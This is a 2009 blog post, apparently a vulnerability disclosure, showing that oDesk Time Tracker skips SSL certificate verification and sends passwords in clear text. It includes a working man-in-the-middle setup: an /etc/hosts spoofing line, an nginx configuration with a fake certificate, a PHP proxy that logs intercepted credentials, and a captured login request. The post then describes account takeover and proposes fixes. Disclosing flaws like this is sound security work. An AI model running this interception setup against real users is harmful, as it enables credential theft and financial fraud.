oDesk Time Tracker Vulnerabilities
When SSL is not enough
- oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is doable).
To imitate the DNS spoofing we will need to edit
/etc/hostsfile:[-]View Code Text127.0.0.1 team.odesk.comAnd set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used nginx:
[-]View Code nginx configurationserver {
listen 80;
server_name team.odesk.com;
access_log /var/log/nginx/team.odesk.com-access.log;
error_log /var/log/nginx/team.odesk.com-error.log;
root /var/www/team.odesk.com;
try_files junk @proxy;
location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}
server {
listen 443;
keepalive_timeout 70;
server_name default;
access_log /var/log/nginx/secure-team.odesk.com-access.log;
error_log /var/log/nginx/secure-team.odesk.com-error.log;
ssl on;
ssl_certificate /etc/nginx/certs/fake-cert.crt;
ssl_certificate_key /etc/nginx/certs/fake-cert.key;
ssl_session_timeout 5m;
ssl_protocols SSLv3 TLSv1;
ssl_ciphers HIGH:MEDIUM;
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;
root /var/www/team.odesk.com;
try_files junk @proxy;
location @proxy {
fastcgi_pass 127.0.0.1:8000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/team.odesk.com/index.php;
include /etc/nginx/fastcgi_params;
}
}Nice PHP proxy that logs all communication between the client and server:
[-]Download index.php<?php
if (false == empty($_POST)) {
$ch = curl_init('https://209.128.65.132' . $_SERVER['REQUEST_URI']);
$data = $_POST;
if (false == empty($_FILES)) {
foreach ($_FILES as $key => $item) {
$data[$key] = '@' . $item['tmp_name'];
}
}
$f = fopen(dirname(__FILE__) . '/log.txt', "a");
fwrite($f, $_SERVER['REQUEST_URI'] . "\n");
fwrite($f, "<<<\n");
fwrite($f, print_r($data, 1));
fwrite($f, ">>>\n");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: team.odesk.com'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$s = curl_exec($ch);
curl_close($ch);
fwrite($f, $s);
fwrite($f, "---\n\n\n");
fclose($f);
print $s;
}
else {
print "status=S_OK\n";
print "Fraude perit virtus";
}
?>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:
[-]View Code TextAnd here comes the second vulnerability.SERVER: https://209.128.65.132/client/receiver
IN:
Array
(
[version] => Linux/1.3.4
[status] => C_NORMAL
[company] => ics2:ics2
[user] => vkolesnikov
[password] => password_goes_here
[uid] => 5f323dce-ee5c-4347-9074-ed5d356362d4
[computer] => SJINKS
[os] => Linux Ubuntu 9.04 (2.6.28-13-server)
[snapint] => 600
[trigger] => login
[keyev] => 1
[mousev] => 1
[events_per_minute] => 1245070126,1,1
[activewintitle] => client : mc
[screensaveron] => false
[memo] =>.
[task_id] =>.
[task_description] =>.
[screenshot_width] => 1680
[screenshot_height] => 1050
[timestamp] => 1245070127
[screen] => @/tmp/phpqzwmeh
)
OUT:
status=S_OK
servertime=1245070127
hiresdesktop=enable
webcam=user
period=600
use_https=yes
company_name=ICS
first_name=Vladimir
last_name=Kolesnikov
tz=Europe/Athens
company=ics2:ics2
login=vkolesnikov
companies=Sphere314,extrememember,ics2:ics2
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25
task_integration_policy=1
cache_size=120 - Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker’s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider’s account.
Связанные записи
Автор: Vladimir; опубликовано в: Безопасность; метки: MITM, nginx, oDesk, PHP, SSL, атака, спуфинг, уязвимостьИюнь
2009


Меня зовут Владимир, я программист-фрилансер, специализирующийся на Web-программировании и програмировании под Linux.
По совместительству занимаюсь администрированием LAMP/LNMP-серверов и техническим переводом.






[...] Today found this great post, here is a quick excerpt : oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and … Read the rest of this great post Here [...]